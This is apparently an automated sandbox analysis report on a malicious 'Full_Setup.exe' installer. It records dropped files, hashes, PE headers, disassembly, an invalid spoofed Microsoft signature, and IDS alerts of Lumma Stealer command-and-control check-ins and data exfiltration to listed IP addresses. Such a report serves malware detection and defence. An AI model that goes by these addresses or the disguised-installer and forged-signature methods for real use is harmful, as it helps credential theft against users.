File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.53001282597034
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	A62041070E18901131CBBE7825EC4EC7
SHA1:	67DB71F5A885B1E417B1272218E6B814C45A6C93
SHA-256:	E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
SHA-512:	AE560D59071F8E2D484E5607E6A3C6CAC52F011A6CB3F16B5EECB767F555D10A480AF32FE0BEB0DC6FF4B6BEC99B536AEBA58AD6697DAB72AAF60BD46F3BFC83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\UltraMedia\is-SGS9L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1063239551
Entropy (8bit):	0.19795435725041813
Encrypted:	false
SSDEEP:
MD5:	C12ED31F29EF510393AE36661F44F102
SHA1:	2F00EEEA897AD851E65FE3A877D9B6380AEE484D
SHA-256:	8467A252F34645C19D8CDE87BBC4E214E81C58BB8D0376C67A43086222508CA0
SHA-512:	2075F2B500D65D8187470BA66EDFB268CE165F4841921F04629449CC62ED40D2D02FAE29CF0CA7C4DC7DDA925EA69E30C11E96042108B83899FF6150DBFC5CBD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................N.........$.N.......N...@..........................P............@......@........................... Q..@....T..`............_?.)....Q.,N............................Q.....................................................CODE......N.......N................. ..`DATA..........N.......N.............@...BSS...........P......hP..................idata...@... Q..B...hP.............@....tls....0....pQ.......P..................rdata........Q.......P.............@..P.reloc.. N....Q..P....P.............@..P.rsrc....`....T..b....S.............@..P..............t.......s.............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1063239551
Entropy (8bit):	0.19795435725041813
Encrypted:	false
SSDEEP:
MD5:	C12ED31F29EF510393AE36661F44F102
SHA1:	2F00EEEA897AD851E65FE3A877D9B6380AEE484D
SHA-256:	8467A252F34645C19D8CDE87BBC4E214E81C58BB8D0376C67A43086222508CA0
SHA-512:	2075F2B500D65D8187470BA66EDFB268CE165F4841921F04629449CC62ED40D2D02FAE29CF0CA7C4DC7DDA925EA69E30C11E96042108B83899FF6150DBFC5CBD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................N.........$.N.......N...@..........................P............@......@........................... Q..@....T..`............_?.)....Q.,N............................Q.....................................................CODE......N.......N................. ..`DATA..........N.......N.............@...BSS...........P......hP..................idata...@... Q..B...hP.............@....tls....0....pQ.......P..................rdata........Q.......P.............@..P.reloc.. N....Q..P....P.............@..P.rsrc....`....T..b....S.............@..P..............t.......s.............@..P........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.3383268108659846
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Full_Setup.exe
File size:	73'399'914 bytes
MD5:	5517e8f1bd85f7fe822b8549c9976e2b
SHA1:	a750eb1d13abbfb16a9a3e29f35223299004916a
SHA256:	587550d60f859ef6a0bab8b636f0b27d71f0a3c10745a3d44f78768a767aac6c
SHA512:	548bf5bd9421de28008938021876a52892ae38b961e2872f8776cabab97d40d810d6381c47c74bfc579c07dafa8c1b3074a2e56c7590243804c242cc0ef10a7a
SSDEEP:	12288:ANSyI65KIhu5glVaDOfsOIumqXWF9q8YETYu/oEhvi/vbD2cSykpLi6T630ctg:ANS560Ihu5glfhIumHD
TLSH:	2BF71922D601029ECB370AB949339EF19A1B85F3331114DB514FF676A7427FB423A97A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................f...*.....

File Icon


Icon Hash:	2b19b5e577716619

Static PE Info

General

Entrypoint:	0x4034f7
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x614F9AE5 [Sat Sep 25 21:55:49 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	56a78d55f3f7af51443e58e0ce2fb5f6

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	15/12/2020 21:24:20 02/12/2021 21:24:20
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	4068B1B0494EFA79F5A751DCCA8111CD
Thumbprint SHA-1:	914A09C2E02C696AF394048BCB8D95449BCD5B9E
Thumbprint SHA-256:	4A838904E732A380E2856A9D6FEE926E5C57EB59336292AC5D9E47C9B2C1ED13
Serial:	33000003DFFB6AE3F427ECB6A30000000003DF

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A2E0h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080CCh]
mov esi, dword ptr [004080D0h]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007FC3F0AFF80Ah
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007FC3F0AFF7DAh
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A2D8h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0xaaa00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x45fdc9a	0x21d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6515	0x6600	b61b1f349854f330694e1e9093f8e48a	False	0.7086780024509803	data	6.742001767600672	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	691f0273dad50ec603f6fedf850b58ee	False	0.45	data	5.145774564074664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20338	0x600	4b75405561a3fcc45b8fe27a6808f3b5	False	0.4993489583333333	data	4.013698650446401	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x27000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0xaaa00	0xaaa00	e63c13e4c9f549417011e2c6c263e85f	False	0.3475317651098901	data	5.931089374703839	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x52328	0x42028	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.04111311654880611
RT_ICON	0x94350	0x10828	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.07735419377735715
RT_ICON	0xa4b78	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.1591284837033538
RT_ICON	0xa8da0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.21068464730290457
RT_ICON	0xab348	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.3280956848030019
RT_ICON	0xac3f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.5682624113475178
RT_DIALOG	0xac858	0x120	data	English	United States	0.5138888888888888
RT_DIALOG	0xac978	0x202	data	English	United States	0.4085603112840467
RT_DIALOG	0xacb80	0xf8	data	English	United States	0.6290322580645161
RT_DIALOG	0xacc78	0xa0	data	English	United States	0.60625
RT_DIALOG	0xacd18	0xee	data	English	United States	0.6302521008403361
RT_GROUP_ICON	0xace08	0x5a	data	English	United States	0.3888888888888889
RT_VERSION	0xace68	0x2b0	data	English	United States	0.47093023255813954
RT_MANIFEST	0xad118	0x42e	XML 1.0 document, ASCII text, with very long lines (1070), with no line terminators	English	United States	0.5130841121495328

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T20:17:20.064676+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.204.41	443	TCP
2024-12-27T20:17:20.790224+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	172.67.204.41	443	TCP
2024-12-27T20:17:20.790224+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.204.41	443	TCP
2024-12-27T20:17:22.056812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.204.41	443	TCP
2024-12-27T20:17:23.169805+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49734	172.67.204.41	443	TCP
2024-12-27T20:17:23.169805+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49734	172.67.204.41	443	TCP
2024-12-27T20:17:25.313025+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.204.41	443	TCP
2024-12-27T20:17:27.783491+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	172.67.204.41	443	TCP
2024-12-27T20:17:29.991760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	172.67.204.41	443	TCP
2024-12-27T20:17:32.727466+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.204.41	443	TCP
2024-12-27T20:17:33.475702+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49741	172.67.204.41	443	TCP
2024-12-27T20:17:34.768934+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.204.41	443	TCP
2024-12-27T20:17:37.218128+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	172.67.204.41	443	TCP
2024-12-27T20:17:40.955552+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	172.67.204.41	443	TCP
2024-12-27T20:17:41.706683+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	172.67.204.41	443	TCP
2024-12-27T20:17:43.502096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	185.161.251.21	443	TCP
2024-12-27T20:17:45.606394+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	104.21.37.128	443	TCP
2024-12-27T20:17:46.530995+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	104.21.37.128	443	192.168.2.4	49746	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 20:17:18.750009060 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:18.750128984 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:18.750250101 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:18.753005028 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:18.753043890 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.064464092 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.064676046 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.067325115 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.067357063 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.067775965 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.117472887 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.117573977 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.117707014 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.790318012 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.790559053 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.790628910 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.810038090 CET	49731	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.810094118 CET	443	49731	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.831126928 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.831171036 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:20.831257105 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.835210085 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:20.835225105 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:22.056613922 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:22.056812048 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:22.058370113 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:22.058377981 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:22.058775902 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:22.061789036 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:22.061815977 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:22.061873913 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.169857025 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.170054913 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.170124054 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.170140028 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.170221090 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.170285940 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.170310974 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.170317888 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.170361042 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.171732903 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.179949999 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.180007935 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.180016041 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.188291073 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.188354969 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.188360929 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.232153893 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.289361000 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.341564894 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.361545086 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.365149021 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.365250111 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.365317106 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.365324974 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.365379095 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.372493029 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.419636011 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.427527905 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.427726030 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.427831888 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.427999020 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.428010941 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:23.428024054 CET	49734	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:23.428030014 CET	443	49734	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:24.008162022 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:24.008236885 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:24.008476019 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:24.009366989 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:24.009382963 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:25.312925100 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:25.313024998 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:25.314178944 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:25.314196110 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:25.314397097 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:25.324665070 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:25.324826956 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:25.324858904 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:25.324933052 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:25.324939013 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:26.316800117 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:26.316939116 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:26.317017078 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:26.318085909 CET	49737	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:26.318109035 CET	443	49737	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:26.478043079 CET	49739	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:26.478074074 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:26.478152990 CET	49739	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:26.478535891 CET	49739	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:26.478552103 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:27.783397913 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:27.783490896 CET	49739	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:27.789768934 CET	49739	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:27.789777994 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:27.790119886 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:27.800157070 CET	49739	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:27.800272942 CET	49739	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:27.800307035 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:28.582307100 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:28.582391024 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:28.582452059 CET	49739	443	192.168.2.4	172.67.204.41
